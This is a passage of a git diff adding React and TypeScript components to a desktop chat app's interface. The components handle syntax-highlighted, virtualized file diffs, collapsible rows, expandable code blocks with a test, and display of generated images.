+      out.push(...removals)
+    }
+
+    out.push({
+      kind: added.has(newNo) ? 'add' : 'context',
+      newNo,
+      oldNo: oldNoByNewNo.get(newNo),
+      text: fullLines[index] ?? ''
+    })
+  }
+
+  const trailingRemovals = removalsByNewNo.get(fullLines.length + 1)
+
+  if (trailingRemovals) {
+    out.push(...trailingRemovals)
+  }
+
+  return out
+}
+
+/** Exported for the lazily-loaded SyntaxDiff (syntax-diff.tsx). */
+export function DiffBody({ lines, syntax }: { lines: DiffLine[]; syntax?: boolean }) {
+  return (
+    <>
+      {lines.map((line, index) => (
+        <span
+          className={cn(DIFF_LINE_BASE, DIFF_KIND_TINT[line.kind], !syntax && DIFF_KIND_TEXT[line.kind])}
+          key={`${index}-${line.text}`}
+        >
+          {line.text || ' '}
+        </span>
+      ))}
+    </>
+  )
+}
+
+// shiki FontStyle is a bitmask: Italic=1, Bold=2, Underline=4.
+function tokenStyle({ bgColor, color, fontStyle = 0 }: ThemedToken): React.CSSProperties | undefined {
+  if (!color && !bgColor && !fontStyle) {
+    return undefined
+  }
+
+  return {
+    backgroundColor: bgColor,
+    color,
+    fontStyle: fontStyle & 1 ? 'italic' : undefined,
+    fontWeight: fontStyle & 2 ? 700 : undefined,
+    textDecorationLine: fontStyle & 4 ? 'underline' : undefined
+  }
+}
+
+function useThemeName() {
+  const current = () => (document.documentElement.classList.contains('dark') ? SHIKI_THEME.dark : SHIKI_THEME.light)
+  const [theme, setTheme] = React.useState(current)
+
+  React.useEffect(() => {
+    const observer = new MutationObserver(() => setTheme(current()))
+
+    observer.observe(document.documentElement, { attributeFilter: ['class'], attributes: true })
+
+    return () => observer.disconnect()
+  }, [])
+
+  return theme
+}
+
+function PreviewDiffRows({
+  afterLines = 0,
+  beforeLines = 0,
+  chunks,
+  tokens
+}: {
+  afterLines?: number
+  beforeLines?: number
+  chunks: Array<LineChunk<DiffLine>>
+  tokens?: ThemedToken[][] | null
+}) {
+  return (
+    <>
+      {beforeLines > 0 && <div aria-hidden style={{ height: beforeLines * PREVIEW_LINE_PX }} />}
+      {chunks.map(chunk => (
+        <div className="block" key={chunk.start}>
+          {chunk.lines.map((line, offset) => {
+            const index = chunk.start + offset
+            const rowTokens = tokens?.[index] ?? []
+
+            return (
+              <span className={cn(PREVIEW_DIFF_LINE_BASE, DIFF_KIND_TINT[line.kind])} key={`${index}-${line.text}`}>
+                {rowTokens.length > 0
+                  ? rowTokens.map((token, tokenIndex) => (
+                      <span key={`${tokenIndex}-${token.offset}`} style={tokenStyle(token)}>
+                        {token.content}
+                      </span>
+                    ))
+                  : line.text || ' '}
+              </span>
+            )
+          })}
+        </div>
+      ))}
+      {afterLines > 0 && <div aria-hidden style={{ height: afterLines * PREVIEW_LINE_PX }} />}
+    </>
+  )
+}
+
+function TokenizedDiffBody({
+  afterLines,
+  beforeLines,
+  chunked = false,
+  chunks,
+  language,
+  lines
+}: {
+  afterLines?: number
+  beforeLines?: number
+  chunked?: boolean
+  chunks?: Array<LineChunk<DiffLine>>
+  language: string
+  lines: DiffLine[]
+}) {
+  const code = React.useMemo(() => lines.map(line => line.text).join('\n'), [lines])
+  const theme = useThemeName()
+  const [tokens, setTokens] = React.useState<ThemedToken[][] | null>(null)
+
+  React.useEffect(() => {
+    let cancelled = false
+
+    setTokens(null)
+    // Dynamic import so the multi-MB shiki chunk stays off the cold-start
+    // path — this effect only runs once a highlightable diff is on screen.
+    void import('shiki')
+      .then(({ codeToTokens }) => codeToTokens(code, { lang: language as BundledLanguage, theme }))
+      .then(result => {
+        if (!cancelled) {
+          setTokens(result.tokens)
+        }
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setTokens([])
+        }
+      })
+
+    return () => {
+      cancelled = true
+    }
+  }, [code, language, theme])
+
+  if (!tokens) {
+    return chunked ? (
+      <PreviewDiffRows
+        afterLines={afterLines}
+        beforeLines={beforeLines}
+        chunks={chunks ?? chunkLines(lines, PREVIEW_CHUNK_LINES)}
+      />
+    ) : (
+      <DiffBody lines={lines} />
+    )
+  }
+
+  if (chunked) {
+    return (
+      <PreviewDiffRows
+        afterLines={afterLines}
+        beforeLines={beforeLines}
+        chunks={chunks ?? chunkLines(lines, PREVIEW_CHUNK_LINES)}
+        tokens={tokens}
+      />
+    )
+  }
+
+  return (
+    <>
+      {lines.map((line, index) => {
+        const rowTokens = tokens[index] ?? []
+
+        return (
+          <span className={cn(PREVIEW_DIFF_LINE_BASE, DIFF_KIND_TINT[line.kind])} key={`${index}-${line.text}`}>
+            {rowTokens.length > 0
+              ? rowTokens.map((token, tokenIndex) => (
+                  <span key={`${tokenIndex}-${token.offset}`} style={tokenStyle(token)}>
+                    {token.content}
+                  </span>
+                ))
+              : line.text || ' '}
+          </span>
+        )
+      })}
+    </>
+  )
+}
+
+// Shiki transformer: tag each `.line` with the diff tint for its kind, so the
+// syntax-highlighted output keeps add/remove backgrounds + the gutter accent.
+// Exported for the lazily-loaded SyntaxDiff (syntax-diff.tsx).
+export function diffLineTransformer(kinds: DiffKind[]): ShikiTransformer {
+  return {
+    line(node, line) {
+      const kind = kinds[line - 1] ?? 'context'
+
+      const existing = Array.isArray(node.properties.className)
+        ? (node.properties.className as string[])
+        : node.properties.className
+          ? [String(node.properties.className)]
+          : []
+
+      node.properties.className = [...existing, DIFF_LINE_BASE, DIFF_KIND_TINT[kind]]
+    }
+  }
+}
+
+function SyntaxDiff({ language, lines }: { language: string; lines: DiffLine[] }) {
+  // The Shiki hook lives in a lazily-loaded module (syntax-diff.tsx) so the
+  // multi-MB shiki chunk stays off the cold-start path. Until it (and the
+  // highlight itself) resolves, show the plain colored diff — no flash.
+  return (
+    <React.Suspense fallback={<DiffBody lines={lines} />}>
+      <LazySyntaxDiff language={language} lines={lines} />
+    </React.Suspense>
+  )
+}
+
+const LazySyntaxDiff = React.lazy(() => import('./syntax-diff'))
+
+interface DiffLinesProps extends Omit<React.ComponentProps<'pre'>, 'children'> {
+  text: string
+}
+
+export function DiffLines({ className, text, ...props }: DiffLinesProps) {
+  const lines = React.useMemo(() => parseDiff(text), [text])
+
+  return (
+    <pre className={cn(DIFF_BOX_CLASS, className)} data-slot="diff-lines" {...props}>
+      <DiffBody lines={lines} />
+    </pre>
+  )
+}
+
+// Coalesce consecutive same-kind changed rows into runs, each placed by line
+// fraction (no DOM measurement). Context rows produce no tick.
+function overviewRuns(lines: DiffLine[]): { kind: 'add' | 'remove'; sizePct: number; startPct: number }[] {
+  const total = lines.length || 1
+  const runs: { kind: 'add' | 'remove'; sizePct: number; startPct: number }[] = []
+
+  for (let i = 0; i < lines.length;) {
+    const kind = lines[i].kind
+
+    if (kind === 'context') {
+      i += 1
+
+      continue
+    }
+
+    let j = i + 1
+
+    while (j < lines.length && lines[j].kind === kind) {
+      j += 1
+    }
+
+    runs.push({ kind, sizePct: ((j - i) / total) * 100, startPct: (i / total) * 100 })
+    i = j
+  }
+
+  return runs
+}
+
+// VS Code-style overview ruler: a thin strip pinned to the diff's right edge with
+// a green/red tick per change, positioned by line fraction. Pinned to the
+// viewport (not the scrolled content) by living as an absolute sibling of the
+// scroller inside a relative wrapper — so no scroll listener or measurement.
+function DiffOverviewRuler({ lines }: { lines: DiffLine[] }) {
+  const runs = React.useMemo(() => overviewRuns(lines), [lines])
+
+  if (runs.length === 0) {
+    return null
+  }
+
+  return (
+    <div aria-hidden className="pointer-events-none absolute top-0 right-0 bottom-0 w-1.5 opacity-80">
+      {/* Cap the tick field to the diff's natural height (rows × line px) so a
+          short diff renders thin, line-aligned ticks instead of stretching a few
+          changes into gross full-height blocks. A long diff hits the 100% cap and
+          compresses into a true overview. */}
+      <div className="relative w-full" style={{ height: `min(100%, ${lines.length * PREVIEW_LINE_PX}px)` }}>
+        {runs.map((run, index) => (
+          <div
+            className={cn(
+              'absolute inset-x-0',
+              run.kind === 'add' ? 'bg-(--ui-diff-add-border)' : 'bg-(--ui-diff-remove-border)'
+            )}
+            key={index}
+            style={{ height: `max(0.125rem, ${run.sizePct}%)`, top: `${run.startPct}%` }}
+          />
+        ))}
+      </div>
+    </div>
+  )
+}
+
+interface FileDiffPanelProps {
+  /** Override the default (tool-card) box styling — the full-height preview
+   *  cancels the bleed/clamp so the diff fills its pane. */
+  className?: string
+  diff: string
+  /** Current file text. When provided, the panel expands hunked diffs into a
+   *  full-file view so unchanged lines are preserved between hunks. */
+  fullText?: string
+  path?: string
+  /** Render an old/new line-number gutter (the full preview diff). The compact
+   *  tool-card + inline review diff leave this off. */
+  showLineNumbers?: boolean
+  /** Window the rows (fixed-row virtualization) WITHOUT a gutter — for a large
+   *  diff in a scrolling pane (the review panel), so only visible rows mount
+   *  instead of highlighting every line. `showLineNumbers` implies windowing. */
+  virtualized?: boolean
+}
+
+export function FileDiffPanel({
+  className,
+  diff,
+  fullText,
+  path,
+  showLineNumbers = false,
+  virtualized = false
+}: FileDiffPanelProps) {
+  const lines = React.useMemo(
+    () => (fullText != null ? parseFullFileDiff(diff, fullText) : parseDiff(diff)),
+    [diff, fullText]
+  )
+
+  const lineChunks = React.useMemo(() => chunkLines(lines, PREVIEW_CHUNK_LINES), [lines])
+
+  const { afterRows, beforeRows, endChunk, onScroll, scrollerRef, startChunk } = useFixedRowWindow({
+    overscanRows: PREVIEW_OVERSCAN_LINES,
+    rowPx: PREVIEW_LINE_PX,
+    rowsPerChunk: PREVIEW_CHUNK_LINES,
+    totalRows: lines.length
+  })
+
+  const visibleLineChunks = lineChunks.slice(startChunk, endChunk + 1)
+
+  const language = shikiLanguageForFilename(path)
+  const canHighlight = Boolean(language) && !exceedsHighlightBudget(fullText ?? diff)
+  const windowed = showLineNumbers || virtualized
+
+  // Windowed: we own fixed-height rows and render only the visible chunks, so a
+  // large diff never mounts (or Shiki-highlights) every line. Compact tool cards
+  // are small/clamped, so they let Shiki own the rows (SyntaxDiff).
+  const windowedBody = canHighlight ? (
+    <TokenizedDiffBody
+      afterLines={afterRows}
+      beforeLines={beforeRows}
+      chunked
+      chunks={visibleLineChunks}
+      language={language}
+      lines={lines}
+    />
+  ) : (
+    <PreviewDiffRows afterLines={afterRows} beforeLines={beforeRows} chunks={visibleLineChunks} />
+  )
+
+  const compactBody = !canHighlight ? (
+    <DiffBody lines={lines} />
+  ) : fullText != null ? (
+    <TokenizedDiffBody language={language} lines={lines} />
+  ) : (
+    <SyntaxDiff language={language} lines={lines} />
+  )
+
+  if (!windowed) {
+    return (
+      <div className={cn(DIFF_BOX_CLASS, className)} data-slot="file-diff-panel">
+        {compactBody}
+      </div>
+    )
+  }
+
+  // Windowed: a fixed-row scroller renders only the visible rows (killing the
+  // full-Shiki-of-every-line freeze on large diffs). With `showLineNumbers` a
+  // VS Code-style gutter (new number for context/adds, old for removals) sits in
+  // a left column; the scroller owns scroll so the overview ruler (an absolute
+  // sibling) stays viewport-fixed.
+  return (
+    <div className={cn(DIFF_BOX_CLASS, 'relative overflow-hidden', className)} data-slot="file-diff-panel">
+      <div
+        className={cn('absolute inset-0 overflow-auto', showLineNumbers && 'pr-2.5')}
+        onScroll={onScroll}
+        ref={scrollerRef}
+      >
+        {showLineNumbers ? (
+          <div className="grid min-w-max grid-cols-[auto_minmax(0,1fr)]">
+            <div className="sticky left-0 z-1 select-none bg-(--ui-editor-surface-background) py-3 text-muted-foreground/55">
+              {beforeRows > 0 && <div aria-hidden style={{ height: beforeRows * PREVIEW_LINE_PX }} />}
+              {visibleLineChunks.map(chunk => (
+                <div className="block" key={chunk.start}>
+                  {chunk.lines.map((line, offset) => {
+                    const index = chunk.start + offset
+
+                    return (
+                      <div
+                        className="h-5 w-9 pr-2 text-right leading-5 tabular-nums"
+                        key={`${index}-${line.oldNo}-${line.newNo}`}
+                      >
+                        {line.newNo ?? ''}
+                      </div>
+                    )
+                  })}
+                </div>
+              ))}
+              {afterRows > 0 && <div aria-hidden style={{ height: afterRows * PREVIEW_LINE_PX }} />}
+            </div>
+            <div className="min-w-0">{windowedBody}</div>
+          </div>
+        ) : (
+          <div className="min-w-0">{windowedBody}</div>
+        )}
+      </div>
+      <DiffOverviewRuler lines={lines} />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/disclosure-row.tsx b/ui-desktop/src/components/chat/disclosure-row.tsx
new file mode 100644
index 000000000..f07faa4bc
--- /dev/null
+++ b/ui-desktop/src/components/chat/disclosure-row.tsx
@@ -0,0 +1,72 @@
+import type { ReactNode } from 'react'
+
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { cn } from '@/lib/utils'
+
+// Shared header row for any collapsible block (thinking, tool group, single
+// tool). Each parent supplies its own outer wrapper (with the data-slot CSS
+// uses to escape the message padding) and its own expanded body.
+//
+// Affordance:
+//   - No leading chevron; a caret appears to the RIGHT of the text on hover
+//     (and stays visible when the row is open).
+//   - The hover background is a tight content-shaped pill — sized to the
+//     title text, NOT the full row — and reaches just past the chevron with
+//     `-mx-1.5 px-1.5` so it reads as a soft hit-target rather than a slab
+//     stretching to the message edge.
+//   - `trailing` stays in flow (e.g. a duration timer), so the title always
+//     reserves space for it instead of painting underneath it. Interactive
+//     controls go in `action`, which lays out *in flow* at the far right so it
+//     never sits on top of the caret's hit-target.
+export function DisclosureRow({
+  action,
+  children,
+  onToggle,
+  open,
+  trailing
+}: {
+  action?: ReactNode
+  children: ReactNode
+  onToggle?: () => void
+  open: boolean
+  trailing?: ReactNode
+}) {
+  return (
+    <div className="group/disclosure-row relative flex w-full max-w-full min-w-0 text-(--ui-text-tertiary)">
+      <button
+        aria-expanded={onToggle ? open : undefined}
+        className={cn(
+          // max-w-fit so the click target hugs the title text width — no
+          // background fill, just the cursor + the affordance caret.
+          'flex min-w-0 max-w-fit items-start gap-1.5 text-left transition-colors',
+          onToggle ? 'hover:text-foreground focus-visible:text-foreground focus-visible:outline-none' : 'cursor-default'
+        )}
+        disabled={!onToggle}
+        onClick={onToggle}
+        type="button"
+      >
+        <span className="flex min-w-0 flex-col gap-0.5">{children}</span>
+        {onToggle && (
+          // Wrapper height matches the title row's actual line-height so the
+          // caret centres with the title, not the whole subtitle stack.
+          <span
+            className={cn(
+              'flex h-(--conversation-line-height) shrink-0 items-center justify-center transition-opacity duration-150',
+              open
+                ? 'opacity-80'
+                : 'opacity-(--disclosure-caret-rest) group-hover/disclosure-row:opacity-80 group-focus-within/disclosure-row:opacity-80'
+            )}
+          >
+            <DisclosureCaret open={open} />
+          </span>
+        )}
+      </button>
+      {action && (
+        <span className="ml-auto flex h-(--conversation-line-height) shrink-0 items-center self-start pl-1.5">
+          {action}
+        </span>
+      )}
+      {trailing && <span className="flex h-(--conversation-line-height) shrink-0 items-center pl-1.5">{trailing}</span>}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/expandable-block.test.tsx b/ui-desktop/src/components/chat/expandable-block.test.tsx
new file mode 100644
index 000000000..d233761eb
--- /dev/null
+++ b/ui-desktop/src/components/chat/expandable-block.test.tsx
@@ -0,0 +1,74 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { ExpandableBlock } from './expandable-block'
+
+// jsdom has no ResizeObserver and reports scrollHeight === 0, so the block
+// never flips to `overflowing` on its own. Stub RO to fire immediately and
+// force a tall scrollHeight on the observed node so the toggle mounts.
+class TestResizeObserver {
+  constructor(private readonly callback: ResizeObserverCallback) {}
+
+  observe(target: Element) {
+    Object.defineProperty(target, 'scrollHeight', { configurable: true, value: 400 })
+    this.callback([{ target } as ResizeObserverEntry], this as unknown as ResizeObserver)
+  }
+
+  unobserve() {}
+  disconnect() {}
+}
+
+afterEach(() => {
+  cleanup()
+  vi.unstubAllGlobals()
+})
+
+describe('ExpandableBlock', () => {
+  it('lets horizontal scroll through and keeps the last line selectable', () => {
+    vi.stubGlobal('ResizeObserver', TestResizeObserver)
+
+    const { container } = render(
+      <ExpandableBlock>
+        <pre data-testid="content">{'const x = 1\n'.repeat(20)}</pre>
+      </ExpandableBlock>
+    )
+
+    const inner = container.querySelector('[data-testid="content"]')!.parentElement!
+    const toggle = screen.getByRole('button', { name: /expand|collapse/i })
+    const fade = toggle.parentElement!
+
+    // Inner container allows horizontal scroll so wide code gets a scrollbar:
+    // platform overlay (`scrollbar-overlay`), not the always-on classic gutter.
+    expect(inner.className).toContain('overflow-x-auto')
+    expect(inner.className).toContain('scrollbar-overlay')
+
+    // The full-width fade is a pure cue: it spans the bottom edge but must not
+    // intercept pointer events, so the scrollbar drag and text selection on the
+    // last line pass through to the content underneath.
+    expect(fade.className).toContain('pointer-events-none')
+    expect(fade.className).toContain('inset-x-0')
+
+    // Only the compact toggle is clickable, and it is pinned to the right edge
+    // rather than spanning the full width (the old bug).
+    expect(toggle.className).toContain('pointer-events-auto')
+    expect(toggle.className).toContain('w-9')
+    expect(toggle.className).not.toContain('inset-x-0')
+  })
+
+  it('still toggles expanded state when the compact control is clicked', () => {
+    vi.stubGlobal('ResizeObserver', TestResizeObserver)
+
+    render(
+      <ExpandableBlock>
+        <pre data-testid="content">{'line\n'.repeat(20)}</pre>
+      </ExpandableBlock>
+    )
+
+    const toggle = screen.getByRole('button', { name: 'Expand' })
+    expect(toggle.getAttribute('aria-expanded')).toBe('false')
+
+    fireEvent.click(toggle)
+
+    expect(screen.getByRole('button', { name: 'Collapse' }).getAttribute('aria-expanded')).toBe('true')
+  })
+})
diff --git a/ui-desktop/src/components/chat/expandable-block.tsx b/ui-desktop/src/components/chat/expandable-block.tsx
new file mode 100644
index 000000000..e49ed2971
--- /dev/null
+++ b/ui-desktop/src/components/chat/expandable-block.tsx
@@ -0,0 +1,67 @@
+'use client'
+
+import { type ReactNode, useCallback, useRef, useState } from 'react'
+
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { ChevronDown } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+interface ExpandableBlockProps {
+  children: ReactNode
+  className?: string
+}
+
+export function ExpandableBlock({ children, className }: ExpandableBlockProps) {
+  const innerRef = useRef<HTMLDivElement>(null)
+  const [expanded, setExpanded] = useState(false)
+  const [overflowing, setOverflowing] = useState(false)
+
+  // Measure inside ResizeObserver timing only (layout is clean there). A
+  // synchronous mount-time scrollHeight read forces a reflow per instance,
+  // and a tool-heavy transcript mounts dozens of these on a session switch.
+  const measure = useCallback(() => {
+    const el = innerRef.current
+
+    if (el) {
+      setOverflowing(el.scrollHeight > 121)
+    }
+  }, [])
+
+  useResizeObserver(measure, innerRef)
+
+  return (
+    <div className="relative">
+      <div
+        className={cn(
+          // `scrollbar-overlay` opts out of the app-wide classic thin gutters so
+          // this scroller keeps platform overlay bars (no always-on track).
+          'scrollbar-overlay overflow-y-auto overflow-x-auto',
+          expanded ? 'max-h-[40dvh]' : 'max-h-[7.5rem]',
+          className
+        )}
+        ref={innerRef}
+      >
+        {children}
+      </div>
+      {overflowing && (
+        // The fade is a pure overflow cue and must not intercept pointer events:
+        // it spans the full bottom edge (over the horizontal scrollbar of a wide
+        // code block AND the block's last line), so making it clickable killed
+        // both sideways scrolling and text selection. Keep the fade
+        // `pointer-events-none` and pin the only clickable target — a compact
+        // toggle — to the right edge, clear of the draggable scrollbar track.
+        <div className="pointer-events-none absolute inset-x-0 bottom-0 flex h-7 justify-end bg-linear-to-t from-[var(--expandable-fade-from,var(--ui-chat-surface-background))] to-transparent">
+          <button
+            aria-expanded={expanded}
+            aria-label={expanded ? 'Collapse' : 'Expand'}
+            className="pointer-events-auto flex h-7 w-9 cursor-pointer items-end justify-center pb-1 text-muted-foreground/70 transition-colors hover:text-foreground"
+            onClick={() => setExpanded(v => !v)}
+            type="button"
+          >
+            <ChevronDown className={cn('size-3.5 transition-transform', expanded && 'rotate-180')} />
+          </button>
+        </div>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/chat/fixed-row-window.ts b/ui-desktop/src/components/chat/fixed-row-window.ts
new file mode 100644
index 000000000..93e1eefeb
--- /dev/null
+++ b/ui-desktop/src/components/chat/fixed-row-window.ts
@@ -0,0 +1,155 @@
+import type { RefObject, UIEvent } from 'react'
+import { useCallback, useLayoutEffect, useRef, useState } from 'react'
+
+export interface LineChunk<T> {
+  lines: T[]
+  start: number
+}
+
+export interface TextLineChunk extends LineChunk<string> {
+  text: string
+}
+
+interface FixedRowWindowOptions {
+  overscanRows: number
+  rowPx: number
+  rowsPerChunk: number
+  totalRows: number
+}
+
+export interface FixedRowWindow {
+  afterRows: number
+  beforeRows: number
+  endChunk: number
+  onScroll: (event: UIEvent<HTMLDivElement>) => void
+  scrollerRef: RefObject<HTMLDivElement | null>
+  startChunk: number
+}
+
+export function chunkLines<T>(lines: T[], perChunk: number): Array<LineChunk<T>> {
+  if (lines.length <= perChunk) {
+    return [{ lines, start: 0 }]
+  }
+
+  const chunks: Array<LineChunk<T>> = []
+
+  for (let start = 0; start < lines.length; start += perChunk) {
+    chunks.push({ lines: lines.slice(start, start + perChunk), start })
+  }
+
+  return chunks
+}
+
+export function chunkTextLines(text: string, perChunk: number): TextLineChunk[] {
+  return chunkLines(text.split('\n'), perChunk).map(chunk => ({
+    ...chunk,
+    text: chunk.lines.join('\n')
+  }))
+}
+
+type ChunkWindow = Pick<FixedRowWindow, 'afterRows' | 'beforeRows' | 'endChunk' | 'startChunk'>
+
+export function useFixedRowWindow({
+  overscanRows,
+  rowPx,
+  rowsPerChunk,
+  totalRows
+}: FixedRowWindowOptions): FixedRowWindow {
+  const scrollerRef = useRef<HTMLDivElement | null>(null)
+  const rafRef = useRef<number | null>(null)
+
+  // Derive the visible chunk window from a node's scroll geometry. Pure so we
+  // can compare results and skip a re-render unless the window actually moved.
+  const compute = useCallback(
+    (node: HTMLDivElement | null): ChunkWindow => {
+      const height = node?.clientHeight || 800
+      const scrollTop = node?.scrollTop ?? 0
+      const firstRow = Math.max(0, Math.floor(scrollTop / rowPx) - overscanRows)
+      const lastRow = Math.min(totalRows, Math.ceil((scrollTop + height) / rowPx) + overscanRows)
+      const startChunk = Math.floor(firstRow / rowsPerChunk)
+      const endChunk = Math.max(startChunk, Math.floor(Math.max(firstRow, lastRow - 1) / rowsPerChunk))
+
+      return {
+        afterRows: Math.max(0, totalRows - Math.min(totalRows, (endChunk + 1) * rowsPerChunk)),
+        beforeRows: Math.min(totalRows, startChunk * rowsPerChunk),
+        endChunk,
+        startChunk
+      }
+    },
+    [overscanRows, rowPx, rowsPerChunk, totalRows]
+  )
+
+  const [win, setWin] = useState<ChunkWindow>(() => compute(null))
+
+  // Only commit a new window when a boundary is crossed — scrolling within the
+  // current chunk span (the common case, every rAF) keeps the same object and
+  // re-renders nothing.
+  const sync = useCallback(
+    (node: HTMLDivElement | null = scrollerRef.current) => {
+      if (!node) {
+        return
+      }
+
+      const next = compute(node)
+
+      setWin(prev =>
+        prev.startChunk === next.startChunk &&
+        prev.endChunk === next.endChunk &&
+        prev.beforeRows === next.beforeRows &&
+        prev.afterRows === next.afterRows
+          ? prev
+          : next
+      )
+    },
+    [compute]
+  )
+
+  const cancelFrame = useCallback(() => {
+    if (rafRef.current == null) {
+      return
+    }
+
+    cancelAnimationFrame(rafRef.current)
+    rafRef.current = null
+  }, [])
+
+  const onScroll = useCallback(
+    (event: UIEvent<HTMLDivElement>) => {
+      const node = event.currentTarget
+
+      cancelFrame()
+      rafRef.current = requestAnimationFrame(() => {
+        rafRef.current = null
+        sync(node)
+      })
+    },
+    [cancelFrame, sync]
+  )
+
+  // Re-sync on mount, on resize, and whenever the row geometry changes (new
+  // file/diff → `compute` identity changes → effect re-runs).
+  useLayoutEffect(() => {
+    const node = scrollerRef.current
+
+    if (!node) {
+      return
+    }
+
+    sync(node)
+
+    if (typeof ResizeObserver === 'undefined') {
+      return cancelFrame
+    }
+
+    const observer = new ResizeObserver(() => sync(node))
+
+    observer.observe(node)
+
+    return () => {
+      observer.disconnect()
+      cancelFrame()
+    }
+  }, [cancelFrame, sync])
+
+  return { ...win, onScroll, scrollerRef }
+}
diff --git a/ui-desktop/src/components/chat/generated-image-result.tsx b/ui-desktop/src/components/chat/generated-image-result.tsx
new file mode 100644
index 000000000..eb72272ff
--- /dev/null
+++ b/ui-desktop/src/components/chat/generated-image-result.tsx
@@ -0,0 +1,180 @@
+'use client'
+
+import { type FC, useEffect, useState } from 'react'
+
+import { DiffusionCanvas } from '@/components/chat/image-generation-placeholder'
+import { ImageActionButton, ImageLightbox } from '@/components/chat/zoomable-image'
+import { useImageDownload } from '@/hooks/use-image-download'
+import { useI18n } from '@/i18n'
+import { generatedImageFromResult } from '@/lib/generated-images'
+import { filePathFromMediaPath, gatewayMediaDataUrl, isRemoteGateway, mediaExternalUrl, mediaName } from '@/lib/media'
+import { cn } from '@/lib/utils'
+
+// Aspect hint from the tool args sizes the frame *before* the image loads, so
+// the placeholder and the resolved image occupy the same box — no layout shift.
+const ASPECT_HINTS: Record<string, number> = {
+  landscape: 16 / 9,
+  square: 1,
+  portrait: 9 / 16
+}
+
+function hintedRatio(aspectRatio?: string): number {
+  return (
+    ASPECT_HINTS[
+      String(aspectRatio ?? '')
+        .toLowerCase()
+        .trim()
+    ] ?? ASPECT_HINTS.landscape
+  )
+}
+
+function isInlineSrc(path: string): boolean {
+  return /^(?:https?|data):/i.test(path)
+}
+
+async function resolveImageSrc(path: string): Promise<string> {
+  if (isInlineSrc(path)) {
+    return path
+  }
+
+  if (window.clawcodexDesktop && isRemoteGateway()) {
+    return gatewayMediaDataUrl(path)
+  }
+
+  if (!window.clawcodexDesktop?.readFileDataUrl) {
+    return mediaExternalUrl(path)
+  }
+
+  return window.clawcodexDesktop.readFileDataUrl(filePathFromMediaPath(path))
+}
+
+export const GeneratedImage: FC<{ aspectRatio?: string; result?: unknown }> = ({ aspectRatio, result }) => {
+  const { t } = useI18n()
+  const copy = t.desktop
+  const image = result === undefined ? null : generatedImageFromResult(result)
+  const pending = result === undefined
+
+  const [ratio, setRatio] = useState(() => hintedRatio(aspectRatio))
+  const [src, setSrc] = useState(() => (image && isInlineSrc(image) ? image : ''))
+  const [loaded, setLoaded] = useState(false)
+  const [canvasGone, setCanvasGone] = useState(false)
+  const [failed, setFailed] = useState(false)
+  const [lightboxOpen, setLightboxOpen] = useState(false)
+  const { download, saving } = useImageDownload(src)
+
+  useEffect(() => setRatio(hintedRatio(aspectRatio)), [aspectRatio])
+
+  // Resolve the deliverable path (local read / gateway proxy / remote URL). The
+  // <img> stays mounted under the placeholder and only fades in once it decodes,
+  // so the frame keeps its hinted size and never jumps.
+  useEffect(() => {
+    let cancelled = false
+    setFailed(false)
+    setLoaded(false)
+    setCanvasGone(false)
+    setSrc(image && isInlineSrc(image) ? image : '')
+
+    if (!image || isInlineSrc(image)) {
+      return
+    }
+
+    void resolveImageSrc(image)
+      .then(resolved => !cancelled && setSrc(resolved))
+      .catch(() => !cancelled && setFailed(true))
+
+    return () => {
+      cancelled = true
+    }
+  }, [image])
+
+  // Completed but no usable image (generation failed): the agent's prose carries
+  // the explanation, so render nothing here.
+  if (!pending && !image) {
+    return null
+  }
+
+  if (failed && image) {
+    return (
+      <a
+        className="mt-2 ref inline-block wrap-anywhere"
+        href="#"
+        onClick={event => {
+          event.preventDefault()
+          void window.clawcodexDesktop?.openExternal(mediaExternalUrl(image))
+        }}
+      >
+        {copy.openImage}: {mediaName(image)}
+      </a>
+    )
+  }
+
+  return (
+    <>
+      <span
+        aria-label={pending ? t.assistant.tool.renderingImage : undefined}
+        aria-live={pending ? 'polite' : undefined}
+        className="group/image relative block max-w-full overflow-hidden rounded-2xl transition-[width,height] duration-300 ease-out"
+        data-slot="aui_generated-image"
+        role={pending ? 'status' : undefined}
+        style={{
+          aspectRatio: ratio,
+          // Width is capped so the derived height (width / ratio) never exceeds
+          // --image-preview-height; the box then matches the image exactly with
+          // no letterboxing.
+          width: `min(calc(var(--image-preview-height) * ${ratio}), var(--image-preview-max-width), 100%)`
+        }}
+      >
+        {!canvasGone && (
+          <div
+            className={cn('absolute inset-0 transition-opacity duration-500 ease-out', loaded && 'opacity-0')}
+            onTransitionEnd={() => loaded && setCanvasGone(true)}
+          >
+            <DiffusionCanvas />
+          </div>
+        )}
+        {src && (
+          <button
+            className="absolute inset-0 block size-full cursor-zoom-in"
+            onClick={() => setLightboxOpen(true)}
+            title={copy.openImage}
+            type="button"
+          >
+            <img
+              alt="Generated image"
+              className={cn(
+                'absolute inset-0 size-full object-contain opacity-0 transition-opacity duration-500 ease-out',
+                loaded && 'opacity-100'
+              )}
+              draggable={false}
+              onError={() => setFailed(true)}
+              onLoad={event => {
+                const { naturalHeight, naturalWidth } = event.currentTarget
+
+                if (naturalWidth && naturalHeight) {
+                  setRatio(naturalWidth / naturalHeight)
+                }
+
+                setLoaded(true)
+              }}
+              src={src}
+            />
+          </button>
+        )}
+        {loaded && src && (
+          <ImageActionButton className="group-hover/image:opacity-100" copy={copy} onClick={download} saving={saving} />
+        )}
+      </span>
+      {src && (
+        <ImageLightbox
+          alt="Generated image"
+          copy={copy}
+          onClick={download}
+          onOpenChange={setLightboxOpen}
+          open={lightboxOpen}
+          saving={saving}
+          src={src}
+        />
+      )}
+    </>
+  )
+}
diff --git a/ui-desktop/src/components/chat/image-generation-placeholder.tsx b/ui-desktop/src/components/chat/image-generation-placeholder.tsx
new file mode 100644
index 000000000..3f0e5a16c
--- /dev/null
+++ b/ui-desktop/src/components/chat/image-generation-placeholder.tsx
@@ -0,0 +1,315 @@
+import { type FC, useCallback, useEffect, useRef } from 'react'
+
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { onThemeRepaint } from '@/hooks/use-theme-epoch'
+
+type Rgb = { r: number; g: number; b: number }
+
+const RAMP = ' .,:;-=+*#%@'
+
+const FALLBACKS = {
+  card: { r: 255, g: 255, b: 255 },
